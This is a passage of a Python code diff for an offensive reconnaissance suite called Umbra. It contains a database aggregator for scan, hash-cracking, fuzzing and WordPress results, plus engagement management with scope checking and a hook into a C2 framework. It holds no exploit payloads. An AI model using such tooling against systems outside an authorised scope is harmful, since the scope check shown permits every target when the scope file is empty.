||||||
|
if "hashes" in tables and "sites" not in tables:
|
||||||
|
return "um-crack"
|
||||||
|
if "ports" in tables:
|
||||||
|
return "um-scan"
|
||||||
|
if "findings" in tables and "targets" in tables:
|
||||||
|
# Could be intel or enum — check columns
|
||||||
|
try:
|
||||||
|
conn = sqlite3.connect(path)
|
||||||
|
cols = [r[1] for r in conn.execute("PRAGMA table_info(findings)").fetchall()]
|
||||||
|
conn.close()
|
||||||
|
if "source" in cols:
|
||||||
|
return "um-intel"
|
||||||
|
if "phase" in cols:
|
||||||
|
return "um-enum"
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
if "endpoints" in tables:
|
||||||
|
return "um-api"
|
||||||
|
if "results" in tables:
|
||||||
|
return "um-fuzz"
|
||||||
|
if "images" in tables:
|
||||||
|
return "um-exif"
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
return None
|
||||||
|
|
||||||
|
# ─── Dashboard TUI ───────────────────────────────────────────────────────────
|
||||||
|
console = Console()
|
||||||
|
from um_tui import UmbraTUI
|
||||||
|
from um_ops import (create_engagement, get_engagement_db_path, list_engagements,
|
||||||
|
generate_engagement_summary, op_log, op_log_csv, get_ops_hook)
|
||||||
|
|
||||||
|
MENU_ITEMS = [
|
||||||
|
("1", "Import a tool database"),
|
||||||
|
("2", "Import all (auto-detect)"),
|
||||||
|
("3", "Merge from directory"),
|
||||||
|
("4", "Dashboard / statistics"),
|
||||||
|
("5", "Run SQL query"),
|
||||||
|
("6", "Export table to CSV"),
|
||||||
|
("7", "Create engagement"),
|
||||||
|
("8", "Switch engagement"),
|
||||||
|
("9", "Engagement summary"),
|
||||||
|
("Q", "Quit"),
|
||||||
|
]
|
||||||
|
|
||||||
|
VAULT_INFO = [
|
||||||
|
"10-table relational schema",
|
||||||
|
"Auto-detect DB type",
|
||||||
|
"Import from all Umbra tools",
|
||||||
|
"Custom SQL queries",
|
||||||
|
"Per-table CSV export",
|
||||||
|
]
|
||||||
|
|
||||||
|
def get_db_stats(conn):
|
||||||
|
try:
|
||||||
|
tables_counts = []
|
||||||
|
for tbl in ["domains", "hashes", "ports", "intel", "api_endpoints",
|
||||||
|
"fuzz_results", "exif_data", "enum_findings"]:
|
||||||
|
try:
|
||||||
|
c = conn.execute(f'SELECT COUNT(*) FROM "{tbl}"').fetchone()[0]
|
||||||
|
if c > 0:
|
||||||
|
tables_counts.append(f"{tbl}:{c:,}")
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
return " | ".join(tables_counts) if tables_counts else "Vault: empty"
|
||||||
|
except Exception:
|
||||||
|
return "Vault: empty"
|
||||||
|
|
||||||
|
def show_dashboard(conn):
|
||||||
|
"""Show comprehensive statistics dashboard."""
|
||||||
|
stats = {}
|
||||||
|
|
||||||
|
tables = {
|
||||||
|
"domains": "Domains",
|
||||||
|
"hashes": "Hashes",
|
||||||
|
"ports": "Open Ports",
|
||||||
|
"intel": "Intel Findings",
|
||||||
|
"api_endpoints": "API Endpoints",
|
||||||
|
"fuzz_results": "Fuzz Results",
|
||||||
|
"exif_data": "EXIF Images",
|
||||||
|
"enum_findings": "Enum Findings",
|
||||||
|
"countries": "Countries",
|
||||||
|
"organizations": "Organizations",
|
||||||
|
}
|
||||||
|
|
||||||
|
for table, label in tables.items():
|
||||||
|
try:
|
||||||
|
count = conn.execute(f'SELECT COUNT(*) FROM "{table}"').fetchone()[0]
|
||||||
|
stats[label] = count
|
||||||
|
except Exception:
|
||||||
|
stats[label] = 0
|
||||||
|
|
||||||
|
# Main stats table
|
||||||
|
main_table = Table(box=box.HEAVY, border_style=THEME_COLOR,
|
||||||
|
title=f"[bold {THEME_COLOR}]Umbra Vault — Master Database[/]")
|
||||||
|
main_table.add_column("Table", style="bold", width=20)
|
||||||
|
main_table.add_column("Records", justify="right", style="cyan", width=12)
|
||||||
|
|
||||||
|
for label, count in stats.items():
|
||||||
|
style = "[green]" if count > 0 else "[dim]"
|
||||||
|
main_table.add_row(label, f"{style}{count:,}[/]")
|
||||||
|
|
||||||
|
console.print(main_table)
|
||||||
|
|
||||||
|
# Domain breakdown
|
||||||
|
try:
|
||||||
|
wp_count = conn.execute("SELECT COUNT(*) FROM domains WHERE is_wordpress=1").fetchone()[0]
|
||||||
|
total_domains = stats.get("Domains", 0)
|
||||||
|
if total_domains:
|
||||||
|
console.print(f"\n[green]WordPress: {wp_count}/{total_domains} ({wp_count/total_domains*100:.1f}%)[/]")
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
# Hash breakdown
|
||||||
|
try:
|
||||||
|
total_hashes = stats.get("Hashes", 0)
|
||||||
|
cracked = conn.execute("SELECT COUNT(*) FROM hashes WHERE cracked_email != ''").fetchone()[0]
|
||||||
|
if total_hashes:
|
||||||
|
console.print(f"[green]Cracked: {cracked}/{total_hashes} ({cracked/total_hashes*100:.1f}%)[/]")
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
# Top services
|
||||||
|
try:
|
||||||
|
top_services = conn.execute("""
|
||||||
|
SELECT service, COUNT(*) as cnt FROM ports
|
||||||
|
GROUP BY service ORDER BY cnt DESC LIMIT 5
|
||||||
|
""").fetchall()
|
||||||
|
if top_services:
|
||||||
|
svc_table = Table(box=box.ROUNDED, border_style=THEME_COLOR,
|
||||||
|
title=f"[{THEME_COLOR}]Top Services[/]")
|
||||||
|
svc_table.add_column("Service", style="cyan")
|
||||||
|
svc_table.add_column("Count", justify="right")
|
||||||
|
for s in top_services:
|
||||||
|
svc_table.add_row(s["service"], str(s["cnt"]))
|
||||||
|
console.print(svc_table)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
# Top intel sources
|
||||||
|
try:
|
||||||
|
top_sources = conn.execute("""
|
||||||
|
SELECT source, COUNT(*) as cnt FROM intel
|
||||||
|
GROUP BY source ORDER BY cnt DESC LIMIT 5
|
||||||
|
""").fetchall()
|
||||||
|
if top_sources:
|
||||||
|
src_table = Table(box=box.ROUNDED, border_style=THEME_COLOR,
|
||||||
|
title=f"[{THEME_COLOR}]Top Intel Sources[/]")
|
||||||
|
src_table.add_column("Source", style="yellow")
|
||||||
|
src_table.add_column("Count", justify="right")
|
||||||
|
for s in top_sources:
|
||||||
|
src_table.add_row(s["source"], str(s["cnt"]))
|
||||||
|
console.print(src_table)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def export_table_csv(conn, table_name, output):
|
||||||
|
"""Export a specific table to CSV."""
|
||||||
|
try:
|
||||||
|
cursor = conn.execute(f'SELECT * FROM "{table_name}"')
|
||||||
|
rows = cursor.fetchall()
|
||||||
|
cols = [d[0] for d in cursor.description]
|
||||||
|
with open(output, "w", newline="") as f:
|
||||||
|
writer = csv.writer(f)
|
||||||
|
writer.writerow(cols)
|
||||||
|
for r in rows:
|
||||||
|
writer.writerow(list(r))
|
||||||
|
console.print(f"[green]Exported {len(rows)} rows from {table_name} to {output}[/]")
|
||||||
|
except Exception as e:
|
||||||
|
console.print(f"[red]Export error: {e}[/]")
|
||||||
|
|
||||||
|
# ─── CLI ──────────────────────────────────────────────────────────────────────
|
||||||
|
@click.group(invoke_without_command=True)
|
||||||
|
@click.option("--db", default="um-vault.db", help="Vault database path")
|
||||||
|
@click.option("--engagement", "-E", default=None, help="Engagement name for organized output")
|
||||||
|
@click.pass_context
|
||||||
|
def cli(ctx, db, engagement):
|
||||||
|
"""Umbra Vault — Master database aggregator for all Umbra tools."""
|
||||||
|
ctx.ensure_object(dict)
|
||||||
|
# Env var fallback
|
||||||
|
engagement = engagement or os.environ.get("UMBRA_ENGAGEMENT", "")
|
||||||
|
if engagement:
|
||||||
|
create_engagement(engagement)
|
||||||
|
db = get_engagement_db_path(engagement, TOOL_NAME)
|
||||||
|
ctx.obj["db"] = db
|
||||||
|
ctx.obj["engagement"] = engagement
|
||||||
|
# Ops hook
|
||||||
|
hook = get_ops_hook(TOOL_NAME, engagement)
|
||||||
|
ctx.obj["hook"] = hook
|
||||||
|
if hook:
|
||||||
|
hook.register()
|
||||||
|
if ctx.invoked_subcommand is None:
|
||||||
|
interactive_menu(ctx)
|
||||||
|
|
||||||
|
@cli.command("import")
|
||||||
|
@click.argument("source")
|
||||||
|
@click.option("--type", "db_type", default=None,
|
||||||
|
help="Database type (um-wp, um-hash, um-crack, um-scan, um-intel, um-api, um-fuzz, um-exif, um-enum)")
|
||||||
|
@click.pass_context
|
||||||
|
def import_cmd(ctx, source, db_type):
|
||||||
|
"""Import an Umbra tool database into the vault."""
|
||||||
|
conn = init_db(ctx.obj["db"])
|
||||||
|
|
||||||
|
if not db_type:
|
||||||
|
db_type = detect_db_type(source)
|
||||||
|
if not db_type:
|
||||||
|
console.print(f"[red]Cannot detect database type for {source}. Use --type to specify.[/]")
|
||||||
|
conn.close()
|
||||||
|
return
|
||||||
|
|
||||||
|
if db_type not in IMPORT_MAP:
|
||||||
|
console.print(f"[red]Unknown type: {db_type}[/]")
|
||||||
|
conn.close()
|
||||||
|
return
|
||||||
|
|
||||||
|
import_fn = IMPORT_MAP[db_type]
|
||||||
|
count = import_fn(conn, source)
|
||||||
|
console.print(f"[green]Imported {count} records from {source} ({db_type})[/]")
|
||||||
|
show_dashboard(conn)
|
||||||
|
conn.close()
|
||||||
|
|
||||||
|
@cli.command()
|
||||||
|
@click.argument("directory")
|
||||||
|
@click.pass_context
|
||||||
|
def merge(ctx, directory):
|
||||||
|
"""Merge all .db files from a directory into the vault."""
|
||||||
|
conn = init_db(ctx.obj["db"])
|
||||||
|
|
||||||
|
db_files = glob.glob(os.path.join(directory, "*.db"))
|
||||||
|
if not db_files:
|
||||||
|
console.print(f"[red]No .db files found in {directory}[/]")
|
||||||
|
conn.close()
|
||||||
|
return
|
||||||
|
|
||||||
|
total_imported = 0
|
||||||
|
for db_path in sorted(db_files):
|
||||||
|
if os.path.basename(db_path) == os.path.basename(ctx.obj["db"]):
|
||||||
|
continue # Skip vault itself
|
||||||
|
|
||||||
|
db_type = detect_db_type(db_path)
|
||||||
|
if db_type and db_type in IMPORT_MAP:
|
||||||
|
import_fn = IMPORT_MAP[db_type]
|
||||||
|
count = import_fn(conn, db_path)
|
||||||
|
console.print(f"[dim] {os.path.basename(db_path)} ({db_type}): {count} records[/]")
|
||||||
|
total_imported += count
|
||||||
|
else:
|
||||||
|
console.print(f"[yellow] {os.path.basename(db_path)}: unknown type, skipped[/]")
|
||||||
|
|
||||||
|
console.print(f"\n[green]Total imported: {total_imported} records from {len(db_files)} files[/]")
|
||||||
|
show_dashboard(conn)
|
||||||
|
conn.close()
|
||||||
|
|
||||||
|
@cli.command("import-all")
|
||||||
|
@click.pass_context
|
||||||
|
def import_all(ctx):
|
||||||
|
"""Auto-import all Umbra .db files from current directory."""
|
||||||
|
conn = init_db(ctx.obj["db"])
|
||||||
|
|
||||||
|
default_files = {
|
||||||
|
"um-wp": "um-wp.db",
|
||||||
|
"um-hash": "um-hash.db",
|
||||||
|
"um-crack": "um-crack.db",
|
||||||
|
"um-scan": "um-scan.db",
|
||||||
|
"um-intel": "um-intel.db",
|
||||||
|
"um-api": "um-api.db",
|
||||||
|
"um-fuzz": "um-fuzz.db",
|
||||||
|
"um-exif": "um-exif.db",
|
||||||
|
"um-enum": "um-enum.db",
|
||||||
|
}
|
||||||
|
|
||||||
|
total = 0
|
||||||
|
for db_type, filename in default_files.items():
|
||||||
|
if os.path.exists(filename):
|
||||||
|
import_fn = IMPORT_MAP[db_type]
|
||||||
|
count = import_fn(conn, filename)
|
||||||
|
console.print(f"[green] {filename}: {count} records[/]")
|
||||||
|
total += count
|
||||||
|
else:
|
||||||
|
console.print(f"[dim] {filename}: not found[/]")
|
||||||
|
|
||||||
|
console.print(f"\n[green]Total: {total} records imported[/]")
|
||||||
|
show_dashboard(conn)
|
||||||
|
conn.close()
|
||||||
|
|
||||||
|
@cli.command()
|
||||||
|
@click.pass_context
|
||||||
|
def dashboard(ctx):
|
||||||
|
"""Show the statistics dashboard."""
|
||||||
|
conn = init_db(ctx.obj["db"])
|
||||||
|
show_dashboard(conn)
|
||||||
|
conn.close()
|
||||||
|
|
||||||
|
@cli.command()
|
||||||
|
@click.argument("table_name")
|
||||||
|
@click.option("-o", "--output", default=None)
|
||||||
|
@click.pass_context
|
||||||
|
def export(ctx, table_name, output):
|
||||||
|
"""Export a vault table to CSV."""
|
||||||
|
conn = init_db(ctx.obj["db"])
|
||||||
|
if not output:
|
||||||
|
output = f"um-vault-{table_name}.csv"
|
||||||
|
export_table_csv(conn, table_name, output)
|
||||||
|
conn.close()
|
||||||
|
|
||||||
|
@cli.command()
|
||||||
|
@click.argument("sql_query")
|
||||||
|
@click.pass_context
|
||||||
|
def query(ctx, sql_query):
|
||||||
|
"""Run a custom SQL query on the vault."""
|
||||||
|
conn = init_db(ctx.obj["db"])
|
||||||
|
try:
|
||||||
|
cursor = conn.execute(sql_query)
|
||||||
|
rows = cursor.fetchall()
|
||||||
|
if rows:
|
||||||
|
cols = [d[0] for d in cursor.description]
|
||||||
|
table = Table(box=box.ROUNDED, border_style=THEME_COLOR)
|
||||||
|
for col in cols:
|
||||||
|
table.add_column(col, style="cyan")
|
||||||
|
for r in rows[:100]:
|
||||||
|
table.add_row(*[str(v)[:50] for v in r])
|
||||||
|
console.print(table)
|
||||||
|
console.print(f"[dim]{len(rows)} rows[/]")
|
||||||
|
else:
|
||||||
|
console.print("[dim]No results.[/]")
|
||||||
|
except Exception as e:
|
||||||
|
console.print(f"[red]Query error: {e}[/]")
|
||||||
|
conn.close()
|
||||||
|
|
||||||
|
# ─── Interactive Menu ─────────────────────────────────────────────────────────
|
||||||
|
def interactive_menu(ctx):
|
||||||
|
conn = init_db(ctx.obj["db"])
|
||||||
|
|
||||||
|
def action_handler(key, tui):
|
||||||
|
if key == "1":
|
||||||
|
def on_source(source):
|
||||||
|
if os.path.exists(source):
|
||||||
|
db_type = detect_db_type(source)
|
||||||
|
if db_type:
|
||||||
|
tui.log(f"[*] Detected type: {db_type}")
|
||||||
|
import_fn = IMPORT_MAP[db_type]
|
||||||
|
count = import_fn(conn, source)
|
||||||
|
tui.log(f"[+] Imported {count} records from {source}")
|
||||||
|
else:
|
||||||
|
tui.log(f"[!] Cannot detect database type for {source}")
|
||||||
|
else:
|
||||||
|
tui.log(f"[!] File not found: {source}")
|
||||||
|
tui.prompt("Database file path", on_source)
|
||||||
|
|
||||||
|
elif key == "2":
|
||||||
|
default_files = {
|
||||||
|
"um-wp": "um-wp.db", "um-hash": "um-hash.db",
|
||||||
|
"um-crack": "um-crack.db", "um-scan": "um-scan.db",
|
||||||
|
"um-intel": "um-intel.db", "um-api": "um-api.db",
|
||||||
|
"um-fuzz": "um-fuzz.db", "um-exif": "um-exif.db",
|
||||||
|
"um-enum": "um-enum.db",
|
||||||
|
}
|
||||||
|
total = 0
|
||||||
|
for db_type, filename in default_files.items():
|
||||||
|
if os.path.exists(filename):
|
||||||
|
count = IMPORT_MAP[db_type](conn, filename)
|
||||||
|
tui.log(f"[+] {filename}: {count} records")
|
||||||
|
total += count
|
||||||
|
else:
|
||||||
|
tui.log(f"[-] {filename}: not found")
|
||||||
|
tui.log(f"[*] Total imported: {total} records")
|
||||||
|
|
||||||
|
elif key == "3":
|
||||||
|
def on_dir(directory):
|
||||||
|
db_files = glob.glob(os.path.join(directory, "*.db"))
|
||||||
|
if not db_files:
|
||||||
|
tui.log(f"[!] No .db files found in {directory}")
|
||||||
|
return
|
||||||
|
for db_path in db_files:
|
||||||
|
db_type = detect_db_type(db_path)
|
||||||
|
if db_type and db_type in IMPORT_MAP:
|
||||||
|
count = IMPORT_MAP[db_type](conn, db_path)
|
||||||
|
tui.log(f"[+] {os.path.basename(db_path)}: {count} records")
|
||||||
|
else:
|
||||||
|
tui.log(f"[-] {os.path.basename(db_path)}: unknown type, skipped")
|
||||||
|
tui.prompt("Directory path", on_dir)
|
||||||
|
|
||||||
|
elif key == "4":
|
||||||
|
# Build dashboard as a Rich table for VIEW mode
|
||||||
|
stats = {}
|
||||||
|
tables_map = {
|
||||||
|
"domains": "Domains", "hashes": "Hashes",
|
||||||
|
"ports": "Open Ports", "intel": "Intel Findings",
|
||||||
|
"api_endpoints": "API Endpoints", "fuzz_results": "Fuzz Results",
|
||||||
|
"exif_data": "EXIF Images", "enum_findings": "Enum Findings",
|
||||||
|
"countries": "Countries", "organizations": "Organizations",
|
||||||
|
}
|
||||||
|
for table, label in tables_map.items():
|
||||||
|
try:
|
||||||
|
count = conn.execute(f'SELECT COUNT(*) FROM "{table}"').fetchone()[0]
|
||||||
|
stats[label] = count
|
||||||
|
except Exception:
|
||||||
|
stats[label] = 0
|
||||||
|
t = Table(box=box.HEAVY, border_style=THEME_COLOR,
|
||||||
|
title=f"[bold {THEME_COLOR}]Umbra Vault \u2014 Master Database[/]")
|
||||||
|
t.add_column("Table", style="bold", width=20)
|
||||||
|
t.add_column("Records", justify="right", style="cyan", width=12)
|
||||||
|
for label, count in stats.items():
|
||||||
|
style = "[green]" if count > 0 else "[dim]"
|
||||||
|
t.add_row(label, f"{style}{count:,}[/]")
|
||||||
|
tui.show_table(t)
|
||||||
|
|
||||||
|
elif key == "5":
|
||||||
|
def on_sql(sql):
|
||||||
|
try:
|
||||||
|
cursor = conn.execute(sql)
|
||||||
|
rows = cursor.fetchall()
|
||||||
|
if rows:
|
||||||
|
cols = [d[0] for d in cursor.description]
|
||||||
|
t = Table(box=box.ROUNDED, border_style=THEME_COLOR)
|
||||||
|
for col in cols:
|
||||||
|
t.add_column(col)
|
||||||
|
for r in rows[:50]:
|
||||||
|
t.add_row(*[str(v)[:40] for v in r])
|
||||||
|
tui.log(f"[*] Query returned {len(rows)} rows")
|
||||||
|
tui.show_table(t)
|
||||||
|
else:
|
||||||
|
tui.log("[-] No results.")
|
||||||
|
except Exception as e:
|
||||||
|
tui.log(f"[!] Query error: {e}")
|
||||||
|
tui.prompt("SQL", on_sql)
|
||||||
|
|
||||||
|
elif key == "6":
|
||||||
|
def on_table(tname):
|
||||||
|
def on_file(out):
|
||||||
|
export_table_csv(conn, tname, out)
|
||||||
|
tui.log(f"[+] Exported {tname} to {out}")
|
||||||
|
tui.prompt("Output file", on_file, default=f"um-vault-{tname}.csv")
|
||||||
|
tui.prompt("Table name", on_table)
|
||||||
|
|
||||||
|
elif key == "7":
|
||||||
|
def on_name(name):
|
||||||
|
from um_ops import create_engagement
|
||||||
|
eng_dir = create_engagement(name)
|
||||||
|
tui.log(f"[+] Engagement created: {name}")
|
||||||
|
tui.log(f" Path: {eng_dir}")
|
||||||
|
tui.log(f" Edit scope: {eng_dir}/scope.txt")
|
||||||
|
tui.prompt("Engagement name", on_name)
|
||||||
|
|
||||||
|
elif key == "8":
|
||||||
|
engagements = list_engagements()
|
||||||
|
if not engagements:
|
||||||
|
tui.log("[!] No engagements found. Create one first.")
|
||||||
|
else:
|
||||||
|
for i, eng in enumerate(engagements, 1):
|
||||||
|
tui.log(f" {i}) {eng}")
|
||||||
|
def on_choice(choice):
|
||||||
|
try:
|
||||||
|
idx = int(choice) - 1
|
||||||
|
if 0 <= idx < len(engagements):
|
||||||
|
eng_name = engagements[idx]
|
||||||
|
new_db = get_engagement_db_path(eng_name, TOOL_NAME)
|
||||||
|
nonlocal conn
|
||||||
|
conn.close()
|
||||||
|
conn = init_db(new_db)
|
||||||
|
tui.engagement = eng_name
|
||||||
|
ctx.obj["engagement"] = eng_name
|
||||||
|
tui.log(f"[+] Switched to engagement: {eng_name}")
|
||||||
|
else:
|
||||||
|
tui.log("[!] Invalid selection")
|
||||||
|
except ValueError:
|
||||||
|
tui.log("[!] Enter a number")
|
||||||
|
tui.prompt("Select engagement #", on_choice)
|
||||||
|
|
||||||
|
elif key == "9":
|
||||||
|
eng = ctx.obj.get("engagement")
|
||||||
|
if not eng:
|
||||||
|
tui.log("[!] No engagement active. Use --engagement or switch first.")
|
||||||
|
else:
|
||||||
|
summary = generate_engagement_summary(eng)
|
||||||
|
tui.log(summary)
|
||||||
|
|
||||||
|
tui = UmbraTUI(
|
||||||
|
tool_name=TOOL_NAME,
|
||||||
|
version=VERSION,
|
||||||
|
menu_items=MENU_ITEMS,
|
||||||
|
info_items=VAULT_INFO,
|
||||||
|
action_handler=action_handler,
|
||||||
|
stats_fn=lambda: get_db_stats(conn),
|
||||||
|
theme=THEME_COLOR,
|
||||||
|
engagement=ctx.obj.get("engagement"),
|
||||||
|
)
|
||||||
|
tui.run()
|
||||||
|
conn.close()
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
cli()
|
||||||
@@ -0,0 +1,495 @@
|
|||||||
|
"""um_ops.py — Engagement management, scope enforcement, operational logging,
|
||||||
|
and cross-tool import utilities for the Umbra reconnaissance suite.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import atexit
|
||||||
|
import csv
|
||||||
|
import fcntl
|
||||||
|
import ipaddress
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import sqlite3
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
from datetime import datetime
|
||||||
|
from fnmatch import fnmatch
|
||||||
|
|
||||||
|
# ─── Paths ───────────────────────────────────────────────────────────────────
|
||||||
|
UMBRA_HOME = os.path.expanduser("~/.umbra")
|
||||||
|
ENGAGEMENTS_DIR = os.path.join(UMBRA_HOME, "engagements")
|
||||||
|
|
||||||
|
# Sub-directories created per engagement
|
||||||
|
ENGAGEMENT_SUBDIRS = [
|
||||||
|
"targets", "scans", "api", "intel", "enum", "fuzz",
|
||||||
|
"hashes", "wordpress", "cracking", "exif", "exports",
|
||||||
|
]
|
||||||
|
|
||||||
|
# Tool name → engagement subdirectory mapping
|
||||||
|
TOOL_DIR_MAP = {
|
||||||
|
"um-scan": "scans",
|
||||||
|
"um-api": "api",
|
||||||
|
"um-intel": "intel",
|
||||||
|
"um-enum": "enum",
|
||||||
|
"um-fuzz": "fuzz",
|
||||||
|
"um-hash": "hashes",
|
||||||
|
"um-wp": "wordpress",
|
||||||
|
"um-crack": "cracking",
|
||||||
|
"um-exif": "exif",
|
||||||
|
"um-vault": ".",
|
||||||
|
}
|
||||||
|
|
||||||
|
# ─── Ops Hook Bridge ────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
_ops_hook_cls = None
|
||||||
|
|
||||||
|
def get_ops_hook(tool_name, engagement=None):
|
||||||
|
"""Return an OpsHook instance (auto-imports from c2itall). Returns None if unavailable.
|
||||||
|
|
||||||
|
Registers an atexit handler to call hook.complete() on clean exit.
|
||||||
|
"""
|
||||||
|
global _ops_hook_cls
|
||||||
|
engagement = engagement or os.environ.get("UMBRA_ENGAGEMENT", "")
|
||||||
|
if not engagement:
|
||||||
|
return None
|
||||||
|
if _ops_hook_cls is None:
|
||||||
|
try:
|
||||||
|
c2_path = os.path.expanduser("~/tools/c2itall")
|
||||||
|
if c2_path not in sys.path:
|
||||||
|
sys.path.insert(0, c2_path)
|
||||||
|
from utils.ops_hook import OpsHook
|
||||||
|
_ops_hook_cls = OpsHook
|
||||||
|
except ImportError:
|
||||||
|
_ops_hook_cls = False # sentinel: tried and failed
|
||||||
|
if _ops_hook_cls is False:
|
||||||
|
return None
|
||||||
|
hook = _ops_hook_cls(tool_name, engagement)
|
||||||
|
atexit.register(lambda h=hook: _safe_complete(h))
|
||||||
|
return hook
|
||||||
|
|
||||||
|
|
||||||
|
def _safe_complete(hook):
|
||||||
|
"""atexit callback — mark tool completed if it's still running."""
|
||||||
|
try:
|
||||||
|
if hook and hook.active:
|
||||||
|
hook.complete()
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
# ─── Engagement Management ───────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def create_engagement(name):
|
||||||
|
"""Create engagement directory structure. Idempotent — safe to call multiple times.
|
||||||
|
|
||||||
|
Returns the engagement root path.
|
||||||
|
"""
|
||||||
|
name = name.strip().replace(" ", "_")
|
||||||
|
eng_dir = os.path.join(ENGAGEMENTS_DIR, name)
|
||||||
|
os.makedirs(eng_dir, exist_ok=True)
|
||||||
|
|
||||||
|
# Core files
|
||||||
|
scope_file = os.path.join(eng_dir, "scope.txt")
|
||||||
|
if not os.path.exists(scope_file):
|
||||||
|
with open(scope_file, "w") as f:
|
||||||
|
f.write("# Scope file — one target per line\n")
|
||||||
|
f.write("# Supported: CIDR (10.0.0.0/24), IP ranges (10.0.0.1-10), single IPs, FQDNs, *.wildcard\n")
|
||||||
|
|
||||||
|
log_file = os.path.join(eng_dir, "umbra.log")
|
||||||
|
if not os.path.exists(log_file):
|
||||||
|
with open(log_file, "w") as f:
|
||||||
|
f.write(f"# Umbra engagement log — {name}\n")
|
||||||
|
f.write(f"# Created: {datetime.now().isoformat()}\n\n")
|
||||||
|
|
||||||
|
csv_file = os.path.join(eng_dir, "command_log.csv")
|
||||||
|
if not os.path.exists(csv_file):
|
||||||
|
with open(csv_file, "w", newline="") as f:
|
||||||
|
writer = csv.writer(f)
|
||||||
|
writer.writerow(["timestamp", "tool", "action", "target", "result"])
|
||||||
|
|
||||||
|
# Sub-directories
|
||||||
|
for subdir in ENGAGEMENT_SUBDIRS:
|
||||||
|
os.makedirs(os.path.join(eng_dir, subdir), exist_ok=True)
|
||||||
|
|
||||||
|
return eng_dir
|
||||||
|
|
||||||
|
|
||||||
|
def list_engagements():
|
||||||
|
"""Return a sorted list of engagement names."""
|
||||||
|
if not os.path.isdir(ENGAGEMENTS_DIR):
|
||||||
|
return []
|
||||||
|
return sorted(
|
||||||
|
d for d in os.listdir(ENGAGEMENTS_DIR)
|
||||||
|
if os.path.isdir(os.path.join(ENGAGEMENTS_DIR, d))
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def get_engagement_dir(name):
|
||||||
|
"""Return the engagement root directory (creates if needed)."""
|
||||||
|
return create_engagement(name)
|
||||||
|
|
||||||
|
|
||||||
|
def get_tool_output_dir(engagement, tool_name):
|
||||||
|
"""Return the tool-specific subdirectory inside an engagement."""
|
||||||
|
eng_dir = get_engagement_dir(engagement)
|
||||||
|
subdir = TOOL_DIR_MAP.get(tool_name, "exports")
|
||||||
|
path = os.path.join(eng_dir, subdir)
|
||||||
|
os.makedirs(path, exist_ok=True)
|
||||||
|
return path
|
||||||
|
|
||||||
|
|
||||||
|
def get_engagement_db_path(engagement, tool_name):
|
||||||
|
"""Return the path for a tool's database inside an engagement."""
|
||||||
|
tool_dir = get_tool_output_dir(engagement, tool_name)
|
||||||
|
return os.path.join(tool_dir, f"{tool_name}.db")
|
||||||
|
|
||||||
|
|
||||||
|
# ─── Scope Enforcement ──────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def load_scope(file_path):
|
||||||
|
"""Parse a scope file and return a list of scope entries.
|
||||||
|
|
||||||
|
Supported formats:
|
||||||
|
- CIDR: 10.0.0.0/24
|
||||||
|
- IP range: 10.0.0.1-10 (expands last octet)
|
||||||
|
- Single IP: 10.0.0.1
|
||||||
|
- FQDN: example.com
|
||||||
|
- Wildcard: *.example.com
|
||||||
|
- Comment lines start with #
|
||||||
|
"""
|
||||||
|
scope = []
|
||||||
|
file_path = os.path.expanduser(file_path)
|
||||||
|
if not os.path.exists(file_path):
|
||||||
|
return scope
|
||||||
|
|
||||||
|
with open(file_path) as f:
|
||||||
|
for raw_line in f:
|
||||||
|
line = raw_line.strip()
|
||||||
|
if not line or line.startswith("#"):
|
||||||
|
continue
|
||||||
|
scope.append(line)
|
||||||
|
return scope
|
||||||
|
|
||||||
|
|
||||||
|
def _is_ip(s):
|
||||||
|
"""Check if string looks like an IP address."""
|
||||||
|
try:
|
||||||
|
ipaddress.ip_address(s)
|
||||||
|
return True
|
||||||
|
except ValueError:
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
def _match_cidr(target_ip, cidr):
|
||||||
|
"""Check if an IP is within a CIDR range."""
|
||||||
|
try:
|
||||||
|
return ipaddress.ip_address(target_ip) in ipaddress.ip_network(cidr, strict=False)
|
||||||
|
except ValueError:
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
def _match_ip_range(target_ip, range_str):
|
||||||
|
"""Match an IP range like 10.0.0.1-10."""
|
||||||
|
m = re.match(r"^(\d+\.\d+\.\d+\.)(\d+)-(\d+)$", range_str)
|
||||||
|
if not m:
|
||||||
|
return False
|
||||||
|
prefix, start, end = m.group(1), int(m.group(2)), int(m.group(3))
|
||||||
|
try:
|
||||||
|
last_octet = int(target_ip.split(".")[-1])
|
||||||
|
ip_prefix = ".".join(target_ip.split(".")[:-1]) + "."
|
||||||
|
return ip_prefix == prefix and start <= last_octet <= end
|
||||||
|
except (ValueError, IndexError):
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
def check_scope(target, scope):
|
||||||
|
"""Check if a target is within scope.
|
||||||
|
|
||||||
|
Returns True if allowed (in scope or scope is empty).
|
||||||
|
Returns False if blocked (out of scope).
|
||||||
|
"""
|
||||||
|
if not scope:
|
||||||
|
return True # Empty scope = allow all
|
||||||
|
|
||||||
|
# Normalize target
|
||||||
|
target = target.strip().lower()
|
||||||
|
# Strip protocol/path if URL
|
||||||
|
if "://" in target:
|
||||||
|
from urllib.parse import urlparse
|
||||||
|
parsed = urlparse(target)
|
||||||
|
target = parsed.hostname or target
|
||||||
|
|
||||||
|
target_is_ip = _is_ip(target)
|
||||||
|
|
||||||
|
for entry in scope:
|
||||||
|
entry_lower = entry.lower().strip()
|
||||||
|
|
||||||
|
# CIDR match
|
||||||
|
if "/" in entry and target_is_ip:
|
||||||
|
if _match_cidr(target, entry):
|
||||||
|
return True
|
||||||
|
continue
|
||||||
|
|
||||||
